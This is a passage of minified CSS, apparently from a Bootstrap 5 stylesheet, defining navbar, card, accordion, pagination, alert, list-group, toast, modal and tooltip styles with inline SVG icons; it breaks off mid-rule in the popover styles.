.navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .offcanvas-header{display:none}.navbar-expand-lg .offcanvas{position:inherit;bottom:0;z-index:1000;flex-grow:1;visibility:visible!important;background-color:transparent;border-right:0;border-left:0;transition:none;transform:none}.navbar-expand-lg .offcanvas-bottom,.navbar-expand-lg .offcanvas-top{height:auto;border-top:0;border-bottom:0}.navbar-expand-lg .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1200px){.navbar-expand-xl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .offcanvas-header{display:none}.navbar-expand-xl .offcanvas{position:inherit;bottom:0;z-index:1000;flex-grow:1;visibility:visible!important;background-color:transparent;border-right:0;border-left:0;transition:none;transform:none}.navbar-expand-xl .offcanvas-bottom,.navbar-expand-xl .offcanvas-top{height:auto;border-top:0;border-bottom:0}.navbar-expand-xl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1400px){.navbar-expand-xxl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xxl .navbar-nav{flex-direction:row}.navbar-expand-xxl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xxl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xxl .navbar-nav-scroll{overflow:visible}.navbar-expand-xxl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xxl .navbar-toggler{display:none}.navbar-expand-xxl .offcanvas-header{display:none}.navbar-expand-xxl .offcanvas{position:inherit;bottom:0;z-index:1000;flex-grow:1;visibility:visible!important;background-color:transparent;border-right:0;border-left:0;transition:none;transform:none}.navbar-expand-xxl .offcanvas-bottom,.navbar-expand-xxl .offcanvas-top{height:auto;border-top:0;border-bottom:0}.navbar-expand-xxl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}.navbar-expand{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .offcanvas-header{display:none}.navbar-expand .offcanvas{position:inherit;bottom:0;z-index:1000;flex-grow:1;visibility:visible!important;background-color:transparent;border-right:0;border-left:0;transition:none;transform:none}.navbar-expand .offcanvas-bottom,.navbar-expand .offcanvas-top{height:auto;border-top:0;border-bottom:0}.navbar-expand .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.55)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.55);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-light .navbar-text{color:rgba(0,0,0,.55)}.navbar-light .navbar-text a,.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.55)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.55);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.navbar-dark .navbar-text{color:rgba(255,255,255,.55)}.navbar-dark .navbar-text a,.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{flex:1 1 auto;padding:1rem 1rem}.card-title{margin-bottom:.5rem}.card-subtitle{margin-top:-.25rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link+.card-link{margin-left:1rem}.card-header{padding:.5rem 1rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-footer{padding:.5rem 1rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.5rem;margin-bottom:-.5rem;margin-left:-.5rem;border-bottom:0}.card-header-pills{margin-right:-.5rem;margin-left:-.5rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1rem;border-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom,.card-img-top{width:100%}.card-img,.card-img-top{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img,.card-img-bottom{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-group>.card{margin-bottom:.75rem}@media (min-width:576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.accordion-button{position:relative;display:flex;align-items:center;width:100%;padding:1rem 1.25rem;font-size:1rem;color:#212529;text-align:left;background-color:#fff;border:0;border-radius:0;overflow-anchor:none;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out,border-radius .15s ease}@media (prefers-reduced-motion:reduce){.accordion-button{transition:none}}.accordion-button:not(.collapsed){color:#0c63e4;background-color:#e7f1ff;box-shadow:inset 0 -1px 0 rgba(0,0,0,.125)}.accordion-button:not(.collapsed)::after{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%230c63e4'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");transform:rotate(-180deg)}.accordion-button::after{flex-shrink:0;width:1.25rem;height:1.25rem;margin-left:auto;content:"";background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23212529'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-size:1.25rem;transition:transform .2s ease-in-out}@media (prefers-reduced-motion:reduce){.accordion-button::after{transition:none}}.accordion-button:hover{z-index:2}.accordion-button:focus{z-index:3;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.accordion-header{margin-bottom:0}.accordion-item{background-color:#fff;border:1px solid rgba(0,0,0,.125)}.accordion-item:first-of-type{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.accordion-item:first-of-type .accordion-button{border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.accordion-item:not(:first-of-type){border-top:0}.accordion-item:last-of-type{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.accordion-item:last-of-type .accordion-button.collapsed{border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.accordion-item:last-of-type .accordion-collapse{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.accordion-body{padding:1rem 1.25rem}.accordion-flush .accordion-collapse{border-width:0}.accordion-flush .accordion-item{border-right:0;border-left:0;border-radius:0}.accordion-flush .accordion-item:first-child{border-top:0}.accordion-flush .accordion-item:last-child{border-bottom:0}.accordion-flush .accordion-item .accordion-button{border-radius:0}.breadcrumb{display:flex;flex-wrap:wrap;padding:0 0;margin-bottom:1rem;list-style:none}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:.5rem;color:#6c757d;content:var(--bs-breadcrumb-divider, "/")}.breadcrumb-item.active{color:#6c757d}.pagination{display:flex;padding-left:0;list-style:none}.page-link{position:relative;display:block;color:#0d6efd;text-decoration:none;background-color:#fff;border:1px solid #dee2e6;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.page-link{transition:none}}.page-link:hover{z-index:2;color:#0a58ca;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:3;color:#0a58ca;background-color:#e9ecef;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.page-item:not(:first-child) .page-link{margin-left:-1px}.page-item.active .page-link{z-index:3;color:#fff;background-color:#0d6efd;border-color:#0d6efd}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;background-color:#fff;border-color:#dee2e6}.page-link{padding:.375rem .75rem}.page-item:first-child .page-link{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.35em .65em;font-size:.75em;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.alert{position:relative;padding:1rem 1rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:3rem}.alert-dismissible .btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}.alert-primary{color:#084298;background-color:#cfe2ff;border-color:#b6d4fe}.alert-primary .alert-link{color:#06357a}.alert-secondary{color:#41464b;background-color:#e2e3e5;border-color:#d3d6d8}.alert-secondary .alert-link{color:#34383c}.alert-success{color:#0f5132;background-color:#d1e7dd;border-color:#badbcc}.alert-success .alert-link{color:#0c4128}.alert-info{color:#055160;background-color:#cff4fc;border-color:#b6effb}.alert-info .alert-link{color:#04414d}.alert-warning{color:#664d03;background-color:#fff3cd;border-color:#ffecb5}.alert-warning .alert-link{color:#523e02}.alert-danger{color:#842029;background-color:#f8d7da;border-color:#f5c2c7}.alert-danger .alert-link{color:#6a1a21}.alert-light{color:#636464;background-color:#fefefe;border-color:#fdfdfe}.alert-light .alert-link{color:#4f5050}.alert-dark{color:#141619;background-color:#d3d3d4;border-color:#bcbebf}.alert-dark .alert-link{color:#101214}@-webkit-keyframes progress-bar-stripes{0%{background-position-x:1rem}}@keyframes progress-bar-stripes{0%{background-position-x:1rem}}.progress{display:flex;height:1rem;overflow:hidden;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:#fff;text-align:center;white-space:nowrap;background-color:#0d6efd;transition:width .6s ease}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:1s linear infinite progress-bar-stripes;animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{-webkit-animation:none;animation:none}}.list-group{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}.list-group-numbered{list-style-type:none;counter-reset:section}.list-group-numbered>li::before{content:counters(section, ".") ". ";counter-increment:section}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.5rem 1rem;color:#212529;text-decoration:none;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#0d6efd;border-color:#0d6efd}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:-1px;border-top-width:1px}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width:1400px){.list-group-horizontal-xxl{flex-direction:row}.list-group-horizontal-xxl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xxl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}.list-group-horizontal-xxl>.list-group-item.active{margin-top:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 1px}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#084298;background-color:#cfe2ff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#084298;background-color:#bacbe6}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#084298;border-color:#084298}.list-group-item-secondary{color:#41464b;background-color:#e2e3e5}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#41464b;background-color:#cbccce}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#41464b;border-color:#41464b}.list-group-item-success{color:#0f5132;background-color:#d1e7dd}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#0f5132;background-color:#bcd0c7}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#0f5132;border-color:#0f5132}.list-group-item-info{color:#055160;background-color:#cff4fc}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#055160;background-color:#badce3}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#055160;border-color:#055160}.list-group-item-warning{color:#664d03;background-color:#fff3cd}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#664d03;background-color:#e6dbb9}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#664d03;border-color:#664d03}.list-group-item-danger{color:#842029;background-color:#f8d7da}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#842029;background-color:#dfc2c4}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#842029;border-color:#842029}.list-group-item-light{color:#636464;background-color:#fefefe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#636464;background-color:#e5e5e5}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#636464;border-color:#636464}.list-group-item-dark{color:#141619;background-color:#d3d3d4}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#141619;background-color:#bebebf}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#141619;border-color:#141619}.btn-close{box-sizing:content-box;width:1em;height:1em;padding:.25em .25em;color:#000;background:transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23000'%3e%3cpath d='M.293.293a1 1 0 011.414 0L8 6.586 14.293.293a1 1 0 111.414 1.414L9.414 8l6.293 6.293a1 1 0 01-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 01-1.414-1.414L6.586 8 .293 1.707a1 1 0 010-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat;border:0;border-radius:.25rem;opacity:.5}.btn-close:hover{color:#000;text-decoration:none;opacity:.75}.btn-close:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25);opacity:1}.btn-close.disabled,.btn-close:disabled{pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;opacity:.25}.btn-close-white{filter:invert(1) grayscale(100%) brightness(200%)}.toast{width:350px;max-width:100%;font-size:.875rem;pointer-events:auto;background-color:rgba(255,255,255,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .5rem 1rem rgba(0,0,0,.15);border-radius:.25rem}.toast.showing{opacity:0}.toast:not(.show){display:none}.toast-container{width:-webkit-max-content;width:-moz-max-content;width:max-content;max-width:100%;pointer-events:none}.toast-container>:not(:last-child){margin-bottom:.75rem}.toast-header{display:flex;align-items:center;padding:.5rem .75rem;color:#6c757d;background-color:rgba(255,255,255,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05);border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.toast-header .btn-close{margin-right:-.375rem;margin-left:.75rem}.toast-body{padding:.75rem;word-wrap:break-word}.modal{position:fixed;top:0;left:0;z-index:1055;display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - 1rem)}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1050;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:flex;flex-shrink:0;align-items:center;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.modal-header .btn-close{padding:.5rem .5rem;margin:-.5rem -.5rem -.5rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;flex:1 1 auto;padding:1rem}.modal-footer{display:flex;flex-wrap:wrap;flex-shrink:0;align-items:center;justify-content:flex-end;padding:.75rem;border-top:1px solid #dee2e6;border-bottom-right-radius:calc(.3rem - 1px);border-bottom-left-radius:calc(.3rem - 1px)}.modal-footer>*{margin:.25rem}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{height:calc(100% - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen .modal-header{border-radius:0}.modal-fullscreen .modal-body{overflow-y:auto}.modal-fullscreen .modal-footer{border-radius:0}@media (max-width:575.98px){.modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-sm-down .modal-header{border-radius:0}.modal-fullscreen-sm-down .modal-body{overflow-y:auto}.modal-fullscreen-sm-down .modal-footer{border-radius:0}}@media (max-width:767.98px){.modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-md-down .modal-header{border-radius:0}.modal-fullscreen-md-down .modal-body{overflow-y:auto}.modal-fullscreen-md-down .modal-footer{border-radius:0}}@media (max-width:991.98px){.modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-lg-down .modal-header{border-radius:0}.modal-fullscreen-lg-down .modal-body{overflow-y:auto}.modal-fullscreen-lg-down .modal-footer{border-radius:0}}@media (max-width:1199.98px){.modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xl-down .modal-header{border-radius:0}.modal-fullscreen-xl-down .modal-body{overflow-y:auto}.modal-fullscreen-xl-down .modal-footer{border-radius:0}}@media (max-width:1399.98px){.modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xxl-down .modal-header{border-radius:0}.modal-fullscreen-xxl-down .modal-body{overflow-y:auto}.modal-fullscreen-xxl-down .modal-footer{border-radius:0}}.tooltip{position:absolute;z-index:1080;display:block;margin:0;font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .tooltip-arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .tooltip-arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[data-popper-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow,.bs-tooltip-top .tooltip-arrow{bottom:0}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow::before,.bs-tooltip-top .tooltip-arrow::before{top:-1px;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[data-popper-placement^=right],.bs-tooltip-end{padding:0 .4rem}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow,.bs-tooltip-end .tooltip-arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow::before,.bs-tooltip-end .tooltip-arrow::before{right:-1px;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[data-popper-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow,.bs-tooltip-bottom .tooltip-arrow{top:0}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow::before,.bs-tooltip-bottom .tooltip-arrow::before{bottom:-1px;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[data-popper-placement^=left],.bs-tooltip-start{padding:0 .4rem}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow,.bs-tooltip-start .tooltip-arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow::before,.bs-tooltip-start .tooltip-arrow::before{left:-1px;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1070;display:block;max-width:276px;font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .popover-arrow{position:absolute;display:block;width:1rem;height:.5rem}.popover .popover-arrow::after,.popover 